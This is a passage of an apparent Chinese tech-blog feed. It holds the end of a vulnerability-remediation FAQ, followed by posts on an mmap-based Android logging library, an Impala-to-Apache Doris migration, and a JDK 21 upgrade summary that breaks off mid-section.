<p>A：可能是误报或环境差异，建议查看 CVE 详情确认影响条件，必要时咨询安全专家。  </p>

<h6 id="q2">Q2：生产环境无法立即升级怎么办？</h6>

<p>A：优先采用临时缓解措施（WAF、访问控制），同时制定升级计划。对于 CVE-2025-55182，可以临时禁用 Server Actions 功能。  </p>

<h6 id="q3">Q3：如何判断漏洞的优先级？</h6>

<p>A：参考 3.2 风险等级判定，综合考虑 CVSS 评分、可利用性、业务影响等因素。CVE-2025-55182 因 CVSS 10.0 且有公开 PoC，被定为 P0 级。  </p>

<h6 id="q4">Q4：如何确保修复后不会再次出现类似漏洞？</h6>

<p>A：</p>

<ul>
<li>启用自动化依赖更新工具（如 Dependabot）</li>
<li>增加扫描频率</li>
<li>订阅官方安全公告</li>
<li>定期进行安全审计</li>
</ul>

<p></p><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;"> <br>
  <span style="font-weight: 700;">文档版本：</span>v1.0</p>

<p></p><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;"> <br>
  <span style="font-weight: 700;">编写日期：</span>2026-02-25</p>

<p></p><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;"> <br>
  <span style="font-weight: 700;">下次更新：</span>每季度回顾</p>

<h3 id="">作者介绍：</h3>

<ul>
<li>廉帅  资深SRE</li>
</ul>]]></content:encoded></item><item><title><![CDATA[WEKOILOG：基于MMAP的高性能 ANDROID日志库]]></title><description><![CDATA[<p>WeKoiLog 是一套面向线上排障与稳定性治理的 Android 日志方案：Kotlin 统一 API + Native(C++/JNI) 高性能落盘 + 完整的文件管理与上传能力。它的核心价值不只是“写得快”，而是把日志系统做成一套可集成、可替换、可降级、可扩展的基础设施。</p>

<h3 id="1">1. 需求与痛点</h3>

<p>一个“能用”的日志库很容易写：println + 文件追加即可。</p>

<p>但一个“线上可依赖”的日志系统，必须同时满足：</p>

<ul>
<li>高频写入： 埋点、网络、状态机、关键路径日志持续产生；</li>
<li>低干扰： 不能阻塞主线程，不能制造抖动；</li>
<li>高可靠： 哪怕 Native 失败、磁盘异常，也不能拖垮业务；</li>
<li>可治理： 文件轮转、压缩、清理、查询、上传、统计要成体系；</li></ul>]]></description><link>https://tech.wekoi.cn/2026/01/28/wekoilog-ji-yu-mmap-de-gao-xing-neng-android-ri-zhi-ku/</link><guid isPermaLink="false">155cc52e-98ca-4426-89cc-567f394c9545</guid><category><![CDATA[客户端]]></category><dc:creator><![CDATA[微鲤技术团队]]></dc:creator><pubDate>Wed, 28 Jan 2026 08:08:59 GMT</pubDate><content:encoded><![CDATA[<p>WeKoiLog 是一套面向线上排障与稳定性治理的 Android 日志方案：Kotlin 统一 API + Native(C++/JNI) 高性能落盘 + 完整的文件管理与上传能力。它的核心价值不只是“写得快”，而是把日志系统做成一套可集成、可替换、可降级、可扩展的基础设施。</p>

<h3 id="1">1. 需求与痛点</h3>

<p>一个“能用”的日志库很容易写：println + 文件追加即可。</p>

<p>但一个“线上可依赖”的日志系统，必须同时满足：</p>

<ul>
<li>高频写入： 埋点、网络、状态机、关键路径日志持续产生；</li>
<li>低干扰： 不能阻塞主线程，不能制造抖动；</li>
<li>高可靠： 哪怕 Native 失败、磁盘异常，也不能拖垮业务；</li>
<li>可治理： 文件轮转、压缩、清理、查询、上传、统计要成体系；</li>
<li>可扩展： 业务差异化（格式、过滤、上传策略）要可插拔；</li>
<li>可测试： 支持 Mock/替换实现，方便单元测试与灰度。</li>
</ul>

<p>WeKoiLog 的方案把日志系统拆成三个“可替换的子系统”：</p>

<p>1) 记录（Logger） <br>
2) 文件管理（FileManager） <br>
3) 上传（Uploader）</p>

<p>后文会对应到接口与架构设计。</p>

<h3 id="2mmap">2. 关键选择：为什么日志系统适合 mmap</h3>

<p>从工程角度看，日志有几个特点，使它非常适合 mmap：</p>

<ul>
<li>写入频繁：mmap 的优势会随频次放大（减少系统调用与拷贝）。</li>
<li>顺序追加：日志通常 append，天然适配“线性写指针 + 内存拷贝”。</li>
<li>批量落盘可接受：日志允许“异步写回”，不要求每条都立刻 fsync。</li>
<li>追求低延迟而非强一致：多数场景更关心“不阻塞主线程”。</li>
<li>数据持久化仍可保证：内核 Page Cache + 合理 msync 策略，可以在性能与可靠之间取得平衡。</li>
</ul>

<p>这也是为什么大量成熟移动端日志方案会落到 mmap + 异步刷盘这条路线上。</p>

<h3 id="3mmap">3.mmap 工作原理与对比</h3>

<p>下面这张图把传统文件 I/O 与 mmap 的差异讲得很直观
<img src="http://static.etouch.cn/imgs/upload/1769579917.7302.png" alt=""></p>

<h6 id="31io">3.1 传统文件 I/O 流程</h6>

<p>传统文件 I/O 的核心路径：</p>

<pre><code>应用层 -&gt; 用户空间缓冲区 (User Buffer)
   ↓ 数据拷贝
内核空间缓冲区 (Kernel Buffer)
   ↓ 系统调用
文件系统 -&gt; 磁盘
</code></pre>

<p>主要问题（与图一致）：</p>

<ul>
<li>需要两次数据拷贝</li>
<li>频繁系统调用开销大</li>
<li>同步写入容易阻塞线程（尤其是主线程）</li>
</ul>

<h6 id="32mmap">3.2 mmap 内存映射流程</h6>

<p>mmap 的核心路径：  </p>

<pre><code>应用层 -&gt; 虚拟内存地址 (Virtual Memory)
   ↓ 直接内存访问
页缓存 (Page Cache) &lt;-&gt; 文件
   ↓ 内核自动同步/写回
磁盘
</code></pre>

<p>收益点：</p>

<ul>
<li>零拷贝倾向：写入更像“写内存”</li>
<li>系统调用显著减少：写入阶段仅需 memcpy，flush 可异步</li>
<li>更平滑的 I/O 行为：写回由内核调度，避免业务线程硬刷盘</li>
</ul>

<h6 id="33">3.3 性能对比指标</h6>

<p><img src="http://static.etouch.cn/imgs/upload/1769580569.6697.png" alt=" "></p>

<h3 id="4mmapopenftruncatemmapmemcpymsync">4.mmap 落盘实现要点（open/ftruncate/mmap/memcpy/msync）</h3>

<p>实现 mmap 写日志，不只是 mmap() 一行那么简单。要想“快、稳、可控”，通常要注意：</p>

<ul>
<li>文件预分配：避免写入过程中频繁扩容与碎片化</li>
<li>写指针管理：顺序写 offset，避免越界</li>
<li>同步策略：MS<em>ASYNC / MS</em>SYNC 的选择与节流</li>
<li>错误处理：MAP_FAILED、fd 不可用、磁盘满等要兜底</li>
<li>对齐约束：新系统（如 Android 15+）的 page/映射对齐要求</li>
</ul>

<h6 id="41">4.1 参考实现</h6>

<pre><code>// 1) 打开/创建文件
int fd = open(log_file_path, O_CREAT | O_RDWR, 0644);

// 2) 预分配文件大小（映射区域）
ftruncate(fd, mmap_size);

// 3) 建立映射（共享映射，便于落盘）
char* mapped = (char*)mmap(  
    nullptr,
    mmap_size,
    PROT_READ | PROT_WRITE,
    MAP_SHARED,
    fd,
    0
);

// 4) 写入：把日志拷贝到映射区域
memcpy(mapped + write_offset, log_data, log_length);  
write_offset += log_length;

// 5) 同步：推荐异步避免阻塞
msync(mapped, write_offset, MS_ASYNC);

// 6) 清理
munmap(mapped, mmap_size);  
close(fd);  
</code></pre>

<h6 id="42android1516kb">4.2 Android 15+：16KB 对齐</h6>

<p>Android 15+ 需要 16KB 对齐，可用如下工具函数：  </p>

<pre><code>static size_t align_to_16kb(size_t size) {  
    constexpr size_t ALIGNMENT_SIZE = 16 * 1024;
    return (size + ALIGNMENT_SIZE - 1) &amp; ~(ALIGNMENT_SIZE - 1);
}
</code></pre>

<h6 id="43msyncms_asyncvsms_sync">4.3 msync 选择：MS<em>ASYNC vs MS</em>SYNC</h6>

<ul>
<li>MS_ASYNC：把写回工作交给内核异步执行，更适合日志（不阻塞业务线程）。</li>
<li>MS_SYNC：同步刷盘，适合“必须立刻落盘”的少量关键点，但要谨慎使用，避免卡顿。
默认 ASYNC + 定时/退出/崩溃前关键点进行一次更强的 flush（具体策略可在 ILogger 层封装）。</li>
</ul>

<h3 id="5facademanagerimplementation">5.三层架构：Facade / Manager / Implementation</h3>

<p>方案的架构设计分为三层，并明确每层的设计模式与职责：
<img src="http://static.etouch.cn/imgs/upload/1769582281.7434.webp" alt=" ">
门面层：WeKoiXLog（Facade Pattern）</p>

<ul>
<li>对外提供 统一、简洁 的静态 API</li>
<li>隐藏内部复杂性</li>
<li><p>Kotlin object 单例，使用成本低
管理层：LogManager（Singleton + Strategy）</p></li>
<li><p>统一管理三大能力：日志记录 / 文件管理 / 上传</p></li>
<li>线程安全单例</li>
<li><p>支持运行时组件替换（Strategy 的落点）
实现层：Implementation（Adapter + Strategy）</p></li>
<li><p>具体功能实现（如 XLogAdapter、FallbackLogger）</p></li>
<li>基于接口编程，支持自定义实现</li>
<li>可插拔替换，便于扩展与测试</li>
</ul>

<h3 id="6iloggerifilemanageriuploader">6.核心接口：ILogger / IFileManager / IUploader</h3>

<p>在“职责分离与扩展性”上给出了明确的接口分层：
<img src="http://static.etouch.cn/imgs/upload/1769583706.6854.webp" alt=" "></p>

<h6 id="61ilogger">6.1 ILogger：日志记录（核心职责 + 可扩展能力）</h6>

<p>核心职责：日志记录</p>

<ul>
<li>6 个日志级别：V/D/I/W/E/F</li>
<li>配置管理：级别、模式、过滤器</li>
<li>扩展能力：格式化器、统计信息</li>
</ul>

<p>一个实用的接口形态如下：</p>

<pre><code>interface ILogger {  
    fun init(config: LogConfig): Boolean
    fun close()
    fun flush()

    fun v(tag: String, message: String, throwable: Throwable? = null)
    fun d(tag: String, message: String, throwable: Throwable? = null)
    fun i(tag: String, message: String, throwable: Throwable? = null)
    fun w(tag: String, message: String, throwable: Throwable? = null)
    fun e(tag: String, message: String, throwable: Throwable? = null)
    fun f(tag: String, message: String, throwable: Throwable? = null)

    // 扩展：过滤、格式化、统计等
    fun setLogLevel(level: LogLevel)
    fun setAppenderMode(mode: AppenderMode)
    fun setLogFilter(filter: LogFilter)
    fun setLogFormatter(formatter: LogFormatter)
    fun getLogStats(): LogStats
}
</code></pre>

<h6 id="62ifilemanager">6.2 IFileManager：文件管理（查询/轮转/压缩/清理/统计）</h6>

<p>方案强调 FileManager 不只是“拿到路径”，而是覆盖整个文件生命周期：</p>

<ul>
<li>文件查询：按时间范围、按日期</li>
<li>文件操作：轮转、压缩、清理</li>
<li>统计信息：文件数量、总大小</li>
</ul>

<p>可落地的关键 API：</p>

<pre><code>interface IFileManager {  
    fun init(config: LogConfig): Boolean
    fun close()

    fun getCurrentLogPath(): String
    fun getAllLogFiles(): List&lt;String&gt;
    fun getLogFilesByTimeRange(startTime: Long, endTime: Long): List&lt;String&gt;
    fun getLogFilesByDate(dateStr: String): List&lt;String&gt;

    fun shouldRotateFile(): Boolean
    fun rotateFile(): Boolean

    fun compressLogFile(filePath: String): String?
    fun cleanupOldFiles(maxAgeDays: Int): Int

    fun getFileStats(): FileStats
}
</code></pre>

<h6 id="63iuploader">6.3 IUploader：日志上传（单文件/批量/时间范围 + 回调 + 策略）</h6>

<p>Uploader 的职责在方案里也很明确：</p>

<ul>
<li>上传方式：单文件、批量、时间范围</li>
<li>回调机制：成功/失败通知</li>
<li>配置管理：重试、超时、压缩</li>
</ul>

<pre><code>interface IUploader {  
    fun uploadFile(filePath: String, callback: UploadCallback)
    fun uploadFiles(filePaths: List&lt;String&gt;, callback: UploadCallback)
    fun uploadFilesByTimeRange(startTime: Long, endTime: Long, callback: UploadCallback)

    fun setUploadConfig(config: UploadConfig)
    fun getUploadConfig(): UploadConfig?
}
</code></pre>

<h3 id="7fallbacklogger">7.可靠性终极保障：智能降级（FallbackLogger）</h3>

<p>日志系统最怕两件事：</p>

<p>1) Native/底层不可用导致崩溃 <br>
2) 日志线程阻塞主线程造成卡顿</p>

<p>WeKoiLog 在方案里给出了“智能降级机制”，把风险隔离开： <br>
<img src="http://static.etouch.cn/imgs/upload/1769583938.426.webp" alt=" "></p>

<h6 id="71">7.1 四阶段流程（检测→决策→降级→透明）</h6>

<ul>
<li>检测阶段：XLogAdapter 类加载时尝试加载 Native 库，并记录状态</li>
<li>决策阶段：LogManager 初始化时检查状态，决定使用哪个实现</li>
<li>降级阶段：加载失败自动切到 FallbackLogger</li>
<li>透明阶段：对业务方无感知，调用保持一致</li>
</ul>

<h6 id="72fallbacklogger">7.2 FallbackLogger 的设计约束</h6>

<p>方案里对 FallbackLogger 的约束非常工程化：</p>

<ul>
<li>空实现策略：所有方法不执行任何操作（或最轻量实现）</li>
<li>零阻塞：确保不会阻塞主线程</li>
<li>异常安全：完善异常处理，避免崩溃</li>
<li>接口一致：实现 ILogger，可无缝替换
一句话总结：</li>
</ul>

<p>宁可不记录，也不能影响主业务。</p>

<h3 id="8quickinitinit">8. 配置模型与使用方式（quickInit / init / 运行时替换）</h3>

<h6 id="81apiquickinit">8.1 门面 API：quickInit + 统一入口</h6>

<p>门面层 API 让接入成本非常低：</p>

<pre><code>WeKoiXLog.quickInit(context)  
WeKoiXLog.i("TAG", "message")  
WeKoiXLog.e("TAG", "error", throwable)  
</code></pre>

<h6 id="82init">8.2 可配置 init：把“策略”显式化</h6>

<p>在方案里，init 支持传入：日志目录、缓存目录、文件名前缀、级别、是否控制台输出、AppenderMode（同步/异步）、Debug 开关、最大保留时间，以及自定义实现注入（logger/fileManager/uploader）。</p>

<pre><code>WeKoiXLog.init(  
    context = context,
    logDir = "...",
    cacheDir = "...",
    namePrefix = "app",
    level = LogLevel.INFO,
    consoleLogEnabled = true,
    appenderMode = AppenderMode.ASYNC,
    debugLogEnabled = false,
    maxAliveTime = 0,
    loggerImpl = null,
    fileManagerImpl = null,
    uploaderImpl = null
)
</code></pre>

<p>工程建议：把 AppenderMode（SYNC/ASYNC）做成运行时可切换，在“崩溃前/关键流程”可临时提高落盘强度。</p>

<h6 id="83">8.3 运行时替换：便于灰度与测试</h6>

<p>管理层支持替换实现，典型用途：</p>

<ul>
<li>单元测试用 MockLogger</li>
<li>灰度阶段替换为“更保守”的实现</li>
<li>A/B 比较不同格式化/过滤策略</li>
</ul>

<h3 id="9">9. 性能测试：数据、方法与解读</h3>

<p>方案给了完整测试环境与结果：
<img src="http://static.etouch.cn/imgs/upload/1769584601.0721.webp" alt=" "></p>

<h6 id="91">9.1 测试条件</h6>

<ul>
<li>设备：Xiaomi 12 Pro（Android 13）</li>
<li>场景：连续写入 10,000 条日志</li>
<li>单条长度：平均 200 字符</li>
</ul>

<h6 id="92">9.2 结果表格（转写）</h6>

<p><img src="http://static.etouch.cn/imgs/upload/1769585257.2186.png" alt=" "></p>

<h6 id="93">9.3 如何解读这些数据</h6>

<ul>
<li>5x 写入提升：主要来自减少系统调用、减少拷贝、写回异步化。</li>
<li>CPU -50%：传统 I/O 需要频繁进入内核态与拷贝；mmap 以 memcpy 为主。</li>
<li>内存 -30%：更少的缓冲区/拷贝链路，且写入路径更可控。</li>
<li>主线程 0ms：异步模式下，避免同步刷盘卡住关键线程。</li>
</ul>

<h3 id="10">10. 总结与展望</h3>

<p>本方案优势归纳为四类：性能、可靠、扩展、易用；我们把它翻译成工程语言就是：</p>

<ul>
<li>性能：mmap 零拷贝写入 + Native C++ 路径，解决高频日志的系统开销问题。</li>
<li>可靠：智能降级确保底层不可用时仍不影响业务。</li>
<li>扩展：接口隔离 + 依赖倒置，组件可替换，满足不同业务场景。</li>
<li>易用：门面 API + quickInit + 清晰配置，接入与维护成本低。
<img src="http://static.etouch.cn/imgs/upload/1769585371.4179.webp" alt=" "></li>
</ul>

<h3 id="">作者介绍：</h3>

<ul>
<li>王峰  资深Android开发工程师</li>
</ul>]]></content:encoded></item><item><title><![CDATA[从Impala到Apache Doris：业务数据一致性问题的解决之道]]></title><description><![CDATA[<h3 id="">一、背景：实时化需求下的架构演进</h3>

<p></p><p style="text-indent:2em;">在当今数据驱动的业务环境中，实时的数据洞察能力已成为企业竞争力的关键要素。某核心业务的积分与等级体系，作为用户激励和运营管理的重要抓手，其数据的准确性和时效性直接影响业务决策的有效性。 <br>
</p><p style="text-indent:2em;">最初，该业务的积分计算采用成熟的T+1离线处理模式，数据团队每日凌晨批量处理前一日的数据。这种模式虽然稳定可靠，但随着业务发展，次日才能看到数据的延迟已无法满足运营团队对实时反馈的需求。运营方明确提出："我们需要分钟级的数据更新能力，以便实时调整策略和响应用户行为。" <br>
</p><p style="text-indent:2em;">为响应这一需求，数据架构团队启动了架构升级项目，将原有的T+1 Hive任务改造为分钟级调度，并继续使用原本表现优异的Impala作为查询引擎。然而，这次看似平滑的技术升级，却引发了一场意想不到的数据事故。</p>

<h3 id="">二、问题与现状：诡异的数据回滚现象</h3>

<p></p><p style="text-indent:2em;">新系统上线后，业务端开始收到用户反馈：积分数据会在某些时刻突然下降，几分钟后又自动恢复。这种"数据幽灵"现象严重影响了用户信任和运营决策。</p>

<h6 id="">问题排查过程</h6>

<p>技术团队迅速展开排查，确认数据源写入正常，问题出现在计算环节。分钟级任务流程如下：</p>

<pre><code>数据写入 → 元数据刷新(REFRESH) → 积分汇总查询
</code></pre>

<p>经过深入分析，发现问题根源在于Impala的元数据缓存机制与高频更新场景的不匹配。</p>

<h6 id="">技术原理分析</h6>

<p>Impala采用内存缓存元数据策略提升查询性能，</p>]]></description><link>https://tech.wekoi.cn/2026/01/28/cong-impaladao-apache-doris-ye-wu-shu-ju-yi-zhi-xing-wen-ti-de-jie-jue-zhi-dao/</link><guid isPermaLink="false">6fcd11be-43e9-416f-9dd0-78faba49228e</guid><category><![CDATA[大后端]]></category><dc:creator><![CDATA[微鲤技术团队]]></dc:creator><pubDate>Wed, 28 Jan 2026 08:08:41 GMT</pubDate><content:encoded><![CDATA[<h3 id="">一、背景：实时化需求下的架构演进</h3>

<p></p><p style="text-indent:2em;">在当今数据驱动的业务环境中，实时的数据洞察能力已成为企业竞争力的关键要素。某核心业务的积分与等级体系，作为用户激励和运营管理的重要抓手，其数据的准确性和时效性直接影响业务决策的有效性。 <br>
</p><p style="text-indent:2em;">最初，该业务的积分计算采用成熟的T+1离线处理模式，数据团队每日凌晨批量处理前一日的数据。这种模式虽然稳定可靠，但随着业务发展，次日才能看到数据的延迟已无法满足运营团队对实时反馈的需求。运营方明确提出："我们需要分钟级的数据更新能力，以便实时调整策略和响应用户行为。" <br>
</p><p style="text-indent:2em;">为响应这一需求，数据架构团队启动了架构升级项目，将原有的T+1 Hive任务改造为分钟级调度，并继续使用原本表现优异的Impala作为查询引擎。然而，这次看似平滑的技术升级，却引发了一场意想不到的数据事故。</p>

<h3 id="">二、问题与现状：诡异的数据回滚现象</h3>

<p></p><p style="text-indent:2em;">新系统上线后，业务端开始收到用户反馈：积分数据会在某些时刻突然下降，几分钟后又自动恢复。这种"数据幽灵"现象严重影响了用户信任和运营决策。</p>

<h6 id="">问题排查过程</h6>

<p>技术团队迅速展开排查，确认数据源写入正常，问题出现在计算环节。分钟级任务流程如下：</p>

<pre><code>数据写入 → 元数据刷新(REFRESH) → 积分汇总查询
</code></pre>

<p>经过深入分析，发现问题根源在于Impala的元数据缓存机制与高频更新场景的不匹配。</p>

<h6 id="">技术原理分析</h6>

<p>Impala采用内存缓存元数据策略提升查询性能，但这也带来了数据一致性问题：</p>

<p>1.元数据感知延迟：数据写入HDFS与Impala感知到数据更新是两个独立步骤 <br>
2.REFRESH非原子性：元数据刷新存在"真空期" <br>
3.查询时序风险：查询恰好发生在元数据更新过程中时，会读取到不完整的数据视图  </p>

<h6 id="">问题发生场景模拟</h6>

<pre><code>时间线：
T0：缓存10个文件 → 查询结果100分 ✓  
T1：写入第11个文件，执行REFRESH  
T1.1：清除旧缓存（10个文件信息丢失）  
T1.2：查询抵达，只加载了部分元数据（如5个文件） → 查询结果50分 ✗（数据回滚）  
T2：REFRESH完成，缓存完整11个文件  
T3：下次查询 → 结果110分 ✓  
</code></pre>

<p>这种架构局限性在低频更新场景下不明显，但在分钟级更新频率下，问题暴露无遗。对于要求数据单调递增的积分类业务，这是无法接受的致命缺陷。</p>

<h6 id="">根本原因总结</h6>

<p><img src="http://static.etouch.cn/imgs/upload/1769586283.2766.png" alt=" "></p>

<h3 id="apachedoris">三、方案：引入Apache Doris新一代实时数仓</h3>

<h6 id="31">3.1 技术选型决策</h6>

<p>基于问题分析，技术团队明确了新架构的核心要求：</p>

<p>1.数据写入即可查询 <br>
2.保证查询一致性 <br>
3.支持高频实时更新 <br>
4.易于运维和扩展 <br>
经过多轮技术调研和对比测试，团队最终选择Apache Doris作为新一代实时数仓解决方案。</p>

<h6 id="32doris">3.2 Doris架构优势</h6>

<p>1.统一的元数据管理：彻底告别REFRESH <br>
与Impala+Hive的存算分离架构不同，Doris采用存算一体设计，元数据更新与数据操作原子性同步完成。数据一旦写入成功，立即可查，从根源上消除了元数据不一致的可能性。
2.MVCC机制保障查询一致性 <br>
Doris通过多版本并发控制（MVCC）机制，为每个查询提供特定版本的数据快照。无论后台数据如何更新，查询看到的数据始终保持一致性，完美解决了"读半份数据"的问题。 <br>
3.原生实时更新能力 <br>
Doris的Unique Key模型原生支持基于主键的实时更新（UPSERT），大大简化了ETL流程。可以直接将增量数据写入Doris，由系统自动完成数据的合并和更新。 <br>
4.存算分离架构优势 <br>
Doris 3.x版本支持存算分离架构，将计算资源与存储资源解耦，带来多重优势： <br>
● 资源弹性伸缩：计算节点和存储节点可独立扩缩容
● 成本优化：存储层可使用成本更低的云对象存储
● 高可用性：数据多副本存储，计算节点无状态</p>

<h6 id="33">3.3 集群部署规划</h6>

<p>为满足业务高可用和高性能需求，我们设计了3FE+3BE的独立部署架构，采用存算分离模式：</p>

<ul>
<li>集群节点规划
<img src="http://static.etouch.cn/imgs/upload/1769586370.6837.jpg" alt=" "></li>
<li>部署架构图
<img src="http://static.etouch.cn/imgs/upload/1769586420.6239.jpg" alt=" "></li>
<li>集群监控
<img src="http://static.etouch.cn/imgs/upload/1769586671.0874.jpg" alt=" "></li>
</ul>

<h3 id="">四、效果：架构升级的显著收益</h3>

<h6 id="41">4.1 问题根治与性能提升</h6>

<p><img src="http://static.etouch.cn/imgs/upload/1769586718.1243.jpg" alt=" "></p>

<h6 id="42">4.2 业务价值体现</h6>

<p>1.用户体验提升：数据实时准确，用户信任度大幅提高 <br>
2.运营效率优化：分钟级数据反馈，支持精细化运营 <br>
3.开发成本降低：ETL逻辑简化，开发效率提升40% <br>
4.运维复杂度下降：去除了复杂的元数据协调机制 <br>
5.成本效益提升：存算分离架构降低总拥有成本  </p>

<h3 id="">五、总结与展望</h3>

<h6 id="51">5.1 经验总结</h6>

<p>这次架构迁移项目给我们带来了宝贵的技术启示：</p>

<p>1.技术选型需匹配场景：Impala+Hive适合离线分析，但不适合高频更新场景 <br>
2.架构缺陷的隐蔽性：元数据一致性问题在低频场景下不易暴露 <br>
3.平滑迁移的重要性：完善的验证机制是成功迁移的关键 <br>
4.存算分离的价值：资源弹性与成本优化的双重收益  </p>

<h6 id="52">5.2 技术架构优势对比</h6>

<p><img src="http://static.etouch.cn/imgs/upload/1769586758.668.jpg" alt=" "></p>

<h6 id="53">5.3 未来规划</h6>

<p>基于此次成功经验，团队计划：</p>

<p>1.扩大应用范围：将更多实时业务场景迁移至Doris <br>
2.深度优化：利用Doris高级特性进一步优化性能 <br>
3.架构标准化：形成实时数仓建设的最佳实践规范 <br>
4.探索新特性：尝试向量化引擎、湖仓一体等新功能 <br>
此次架构升级不仅是技术栈的变更，更是数据服务理念的升级。从"数据可用"到"数据实时可靠"，我们为业务创新奠定了坚实的数据基础。在快速变化的业务环境中，选择合适的技术架构，是支撑业务持续增长的关键保障。</p>

<h3 id="">作者介绍：</h3>

<ul>
<li>高泽坤  高级大数据开发工程师</li>
</ul>]]></content:encoded></item><item><title><![CDATA[JDK 21升级总结]]></title><description><![CDATA[<h3 id="">一、背景</h3>

<h1 id=""> </h1>

<p>将公司的 Java 技术栈从 JDK 11 升级到 JDK 21，不仅仅是一次常规的版本更新，更是一次对生产力、系统性能、安全性和未来技术竞争力的战略投资。JDK 11 作为上一个长期支持版（LTS），稳定可靠，但自其发布以来，Java 平台经历了十个版本的迭代，积累了大量革命性的新特性和底层优化。JDK 21 作为最新的 LTS 版本，是这些创新的集大成者。</p>

<h1 id=""> </h1>

<h5 id="">升级的必要性</h5>

<h1 id=""> </h1>

<ul>
<li><p>支持终结
：Oracle 对 JDK 11 的免费公开更新（Public Updates）已于 2023 年 9 月结束。这意味着，如果不购买商业支持，你的生产环境将
无法获得最新的安全补丁和错误修复
，这对于任何暴露在网络环境下的应用来说都是一个严重的安全隐患。</p></li>
<li><p>框架和库的硬性要求
：主流的开源框架和库正在快速拥抱新的</p></li></ul>]]></description><link>https://tech.wekoi.cn/2025/12/09/jdk-21sheng-ji-zong-jie/</link><guid isPermaLink="false">729981b6-d46e-4adc-830b-a14a40a7d653</guid><category><![CDATA[后端]]></category><dc:creator><![CDATA[微鲤技术团队]]></dc:creator><pubDate>Tue, 09 Dec 2025 06:58:43 GMT</pubDate><content:encoded><![CDATA[<h3 id="">一、背景</h3>

<h1 id=""> </h1>

<p>将公司的 Java 技术栈从 JDK 11 升级到 JDK 21，不仅仅是一次常规的版本更新，更是一次对生产力、系统性能、安全性和未来技术竞争力的战略投资。JDK 11 作为上一个长期支持版（LTS），稳定可靠，但自其发布以来，Java 平台经历了十个版本的迭代，积累了大量革命性的新特性和底层优化。JDK 21 作为最新的 LTS 版本，是这些创新的集大成者。</p>

<h1 id=""> </h1>

<h5 id="">升级的必要性</h5>

<h1 id=""> </h1>

<ul>
<li><p>支持终结
：Oracle 对 JDK 11 的免费公开更新（Public Updates）已于 2023 年 9 月结束。这意味着，如果不购买商业支持，你的生产环境将
无法获得最新的安全补丁和错误修复
，这对于任何暴露在网络环境下的应用来说都是一个严重的安全隐患。</p></li>
<li><p>框架和库的硬性要求
：主流的开源框架和库正在快速拥抱新的 JDK 版本。例如，
Spring Framework 6 和 Spring Boot 3.x 已经将最低版本要求提升至 JDK 17。这意味着，如果你的团队想使用这些框架的最新功能、性能优化和安全修复，升级 JDK 是一个无法绕过的前提条件。</p></li>
</ul>

<h3 id="jdk21">二、JDK21版本特性</h3>

<h1 id=""> </h1>

<h6 id="">虚拟线程</h6>

<h1 id=""> </h1>

<p>虚拟线程 (Virtual Threads - Project Loom)
：这是 JDK 21 的
王牌特性**。它从根本上改变了 Java 的并发编程模型。</p>

<ul>
<li><p>之前 (JDK 11)
：我们依赖昂贵的平台线程（与操作系统线程 1:1 对应），通过复杂的异步编程（如 CompletableFuture）和线程池来处理高并发，代码复杂且难以调试。</p></li>
<li><p>现在 (JDK 21)
：我们可以用极其轻量级的虚拟线程，以
同步、顺序的编码风格写出高并发程序
。一个 JVM 可以轻松创建数百万个虚拟线程，使 I/O 密集型应用的吞吐量得到
数量级的提升
，同时
显著降低了代码的复杂性
。</p></li>
</ul>

<h6 id="gc">新一代垃圾收集器 (GC)</h6>

<h1 id=""> </h1>

<ul>
<li><p>ZGC 和 Shenandoah 的成熟
：这两款低延迟 GC 在 JDK 21 中已成为生产可用级别，能够将 GC 暂停时间控制在
亚毫秒级别
，对于需要稳定低延迟的实时应用（如交易系统、实时推荐）至关重要。</p></li>
<li><p>G1 GC 的持续改进
：作为默认 GC，G1 在新版本中也获得了大量优化，吞吐量和延迟表现比 JDK 11 中更好。</p></li>
<li><p>新版本引入了大量语法糖和新特性，旨在消除冗长的“样板代码”，让代码更简洁、更安全、更具表达力。</p></li>
</ul>

<h1 id=""> </h1>

<h6 id="">语法糖和新特性</h6>

<h1 id=""> </h1>

<p>新版本引入了大量语法糖和新特性，旨在消除冗长的“样板代码”，让代码更简洁、更安全、更具表达力。</p>

<ul>
<li>Records (记录类 - JDK 16)
：一句话定义不可变的数据载体类 (DTO/POJO)，自动生成构造函数、equals()、hashCode()、toString() 和 getter。</li>
</ul>

<p>JDK 11</p>

<pre><code>public final class Point {  
  private final int x;
  private final int y;
  // + 构造函数, getters, equals, hashCode, toString... (约50行代码)
}
</code></pre>

<p>JDK 21</p>

<pre><code>public record Point(int x, int y) { } // 1行代码搞定  
</code></pre>

<ul>
<li>Switch 模式匹配 (Pattern Matching for Switch - JDK 21)
：让 switch 语句变得前所未有的强大和安全，可以直接对对象的类型和属性进行判断，消除了繁琐的 if-else 和类型强转。</li>
</ul>

<p>JDK 11</p>

<pre><code>Object obj = ...;  
if (obj instanceof String) {  
  String s = (String) obj;
  System.out.println("String: " + s.toUpperCase());
} else if (obj instanceof Integer) {
  // ...
}
</code></pre>

<p>JDK 21</p>

<pre><code>Object obj = ...;  
switch (obj) {  
  case String s -&gt; System.out.println("String: " + s.toUpperCase());
  case Integer i -&gt; System.out.println("Integer: " + i);
  default -&gt; { }
}
</code></pre>

<ul>
<li>文本块 (Text Blocks - JDK 15)
：优雅地编写多行字符串，告别丑陋的 + 拼接和 \n 转义，尤其适合编写 SQL、JSON、HTML 等。</li>
</ul>

<p>JDK 11: </p>

<pre><code>String json = "{\n" + " \"name\": \"John\",\n" + " \"age\": 30\n" + "}";  
</code></pre>

<p>JDK 21:</p>

<pre><code>String json = """  
  {
    "name": "John",
    "age": 30
  }
  """;
</code></pre>

<h1 id=""> </h1>

<h6 id="">其他重要特性</h6>

<h1 id=""> </h1>

<ul>
<li><p>Record 模式 (Record Patterns, JDK 21)：优雅地解构 Record 对象。</p></li>
<li><p>Sealed Classes (密封类, JDK 17)：更精确地控制类的继承关系，构建更严谨的领域模型。</p></li>
<li><p>var 关键字的改进：让局部变量类型推断更强大。</p></li>
<li><p>更友好的 NullPointerExceptions：NPE 异常信息会明确指出哪个变量是 null。</p></li>
</ul>

<h3 id="springboot">三、Spring Boot版本选择</h3>

<h1 id=""> </h1>

<h5 id="springbootjdk">SpringBoot和JDK版本兼容</h5>

<h1 id=""> </h1>

